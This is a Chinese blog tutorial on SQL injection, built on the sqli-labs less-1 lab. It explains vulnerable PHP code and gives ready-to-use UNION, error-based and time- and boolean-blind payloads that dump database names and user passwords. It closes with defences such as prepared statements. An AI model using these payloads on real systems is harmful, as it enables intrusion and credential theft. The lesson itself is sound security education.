简介:¶
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
漏洞原理实例:¶
用户提交数据后,后端服务器将用户提交的**数据带入sql语句对数据库进行操作**,如果没有进行过滤,那么用户提交构造好的特殊语句,就可以**对数据库进行非法的操作**,即引发sql注入,例如以下代码(sqli-labs-1)
//GET方式获取name为id的值赋值给$id变量; $id=$_GET['id']; //定义$sql变量,值为下一步要执行的sql语句,将$id变量带入sql语句中; $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; //将上一步定义的$sql变量的值作为sql语句带入数据库查询,并将结果赋值给$result变量,mysql_query为php提供的数据库查询函数; $result=mysql_query($sql); //从上一步查询的结果集中去的一行作为数组返回并赋值给$row变量; $row = mysql_fetch_array($result); //如果$row值不为空,即数据库查询数据正常,则打印出username和password的值; if($row) { echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } }
数据库中有数据如下
那么用户提交?id=-1,则代入数据库正常查询且正常输出
但如果用户提交的数据为
?id=-1' union select 1,2,database() --+
那么则会返回我们构造的语句对数据库进行的查询操作返回的值
我们将两个提交的数据都带入我们后端的执行中对比,如下
原始语句:SELECT * FROM user WHERE id='$id' LIMIT 0,1 正常带入数据:SELECT * FROM user WHERE id='1' LIMIT 0,1 非法带入数据:SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1 --(注:在执行sql语句时,“--”是sql语句中的注释符,但是使用时--后要有一个空格才能起到注释作用,否则会报错,这里的+号经过处理后会变成空格,用来和后面的单引号分隔开,才能将后面的语句注释。)
可以看到,如果没有经过过滤就将用户提交的非法数据带入后端执行的话,真正执行的语句是SELECT * FROM user WHERE id='-1' union select 1,2,database() -- ' LIMIT 0,1
,而后面被注释的部分不执行,那么就不会引发错误,在查询id字段值为-1没有结果后,就会执行union查询,查询出数据库名并输出,这就是最典型的sql注入。
漏洞分类:¶
就不按照数字型字符型这些来分类了,我认为按照利用方式来分类更容易理解
有回显
Union query #联合查询注入,通过union联合查询获取查询结果
Error based #报错注入,通过报错信息获取查询结果
无回显
Boolean based blind #布尔盲注,通过应用返回不同的值判断条件真假
Time based blind #时间盲注,通过不同的时间延迟推断条件真假
漏洞检测:¶
手工检测¶
提交的参数与数据库交互,参数添加“ ' ”(英文单引号),出现异常(sql语法错误),即存在sql注入,如果无回显,可以通过延时或者布尔盲注来检测是否存在漏洞。
注:异常报错的原因是因为后台将参数中的单引号带入sql语句进行数据库操作,多了一个单引号引发sql语法错误,所以报错即整明了我们的单引号进入了sql语句执行中。
工具检测¶
使用sqlmap进行检测,这里是下载地址和使用说明点击跳转
漏洞利用:¶
手工注入¶
有回显型构造语句查询数据,无回显型进行盲注,不过比较费时间。
这里就以mysql的数据库,sqli-labs的less-1为例,列出一些常用的语句,如果要详细展开细讲的话,篇幅肯定会特别特别长,一篇文章恐怕各位看官们也看不下去,各位需要用到更多的语句时自行百度即可,如果需要的话后面可以分开出详细的各中注入方式的详解文章。
UNION联合查询注入¶
爆列数:?id=-1' order by n--+(“n”到几不报错则有n-1列) 爆库名:?id=-1' union select 1,2,database() --+ 爆表明:?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆列名:?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 爆数据:?id=-1' union select 1,group_concat(username),group_concat(password) from users --+ 注:使用中根据实际需要修改字段数(列数)以及库名表名等,union查询的字段数需要和表中的字段数相同才可以
报错注入¶
爆库名:?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 爆表名:?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆列名:?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆数据:?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+
时间盲注¶
爆库长:?id=1' and if(length(database())=8,sleep(5),NULL)--+ 爆库名:?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+ 爆表名:?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+ 爆列明:?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+ 爆数据:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+ ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+
布尔盲注¶
爆库名:?id=1' and left((select database()),1)='s'--+ 爆表名:?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+ 爆列明:?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+ 爆数据:?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+
无回显的还有一种利用方式是利用DNSlog外带查询的内容,这里有一位师傅讲的已经很详细了,点击查看原文
以上为GET型注入,POST型类似,修改参数值即可。
工具注入¶
依旧是sqlmap一把梭,实战中根据实际需求使用tamper进行绕过一些过滤。
常见场景:¶
用户可控的参数与数据库有交互的地方,常见与查询,登录等;
在测试中可以爬取网站的一些api查询接口,也会存在sql注入。
漏洞防御:¶
WAF(web应用防火墙)¶
为网站添加waf,虽然不能修复sql注入漏洞,但是可以拦截敏感数据以防止sql注入被黑客利用
Filter过滤¶
在服务器端添加过滤代码以过滤可能引发sql注入的敏感字符
sql预编译¶
示例:
prepare baizesec from 'select username,password from users where id=?'; 定义预编译语句 set @a=1; 传参数 execute baizesec using @a; 调用 <<<<<<< HEAD
- 上一篇:基础漏洞系列——XSS跨站脚本攻击详解
- 下一篇:CSRF跨站请求伪造详解
猜你还喜欢
- 07-08九年专业安全团队承接渗透入侵维护服务
- 08-06SQLMAP的注入命令以及使用方法
- 08-03白帽故事汇:网络安全战士从来不是「男生」的专利
- 07-27编辑器漏洞手册
- 07-12web安全之如何全面发现系统后台
- 02-22常见Web源码泄露总结
- 07-25网站后台登陆万能密码
- 07-23破解emlog收费模板“Begin”
- 03-21黑客如何破解wifi密码
- 01-12批量检测SQL注入
- 最新文章
- 随机文章
-
- 一文详解Webshell
- 技术讨论 | 某真实渗透实践案例分析
- 窥探裸聊诈骗背后黑色产业链的一角
- php代码审计学习之函数缺陷
- 记录一次赌博网站渗透测试,有钱老板背景调查
- GitLab任意文件读取漏洞CVE-2020-10977
- 挖洞经验 | 一次性验证密码(OTP)的简单绕过
- 主机安全:洋葱Webshell检测实践与思考
- 解密无文件攻击的各种姿势及最新检测方法
- thinkphp漏洞集合与复现
- Thinkphp5代码执行学习
- 闲谈Webshell实战应用
- 代码克隆检测技术初探和开源工具地址分享
- 记录几种XSS绕过方式
- 通达OA远程命令执行漏洞分析
- 一次对果聊诈骗的分析:那些你不知道的套路诈骗
- 看我如何制造漏洞绕过安全软件来加入自启动
- 看我如何制造漏洞绕过安全软件来加入自启动
- iOS逆向之人脸识别绕过
- 白盒系列之变量追踪引擎(一)
- 热门文章
-
- 九年专业安全团队承接渗透入侵维护服务
- Stuxnet纪录片-零日 Zero.Days (2016)【中文字幕】
- Emlog黑客站模板“Milw0rm”发布
- SQLMAP的注入命令以及使用方法
- 白帽故事汇:网络安全战士从来不是「男生」的专利
- 编辑器漏洞手册
- web安全之如何全面发现系统后台
- 常见Web源码泄露总结
- 深入理解JAVA反序列化漏洞
- cmseasy前台无需登录直接获取敏感数据的SQL注入(有POC证明)
- 网站后台登陆万能密码
- 黑客怎样简单入侵别人手机,黑客是如何入侵手机的?
- 黑麒麟2016渗透培训系列教程
- 破解emlog收费模板“Begin”
- 那些强悍的PHP一句话后门
- Android平台渗透测试套件zANTI v2.5发布(含详细说明)
- 渗透工具BackTrack与KaliLinux全套视频教程
- Python列为黑客应该学的四种编程语言之一 初学者该怎么学
- CVE-2017-11882漏洞复现和利用
- 恶意程序报告在线查询工具
- 文章标签
-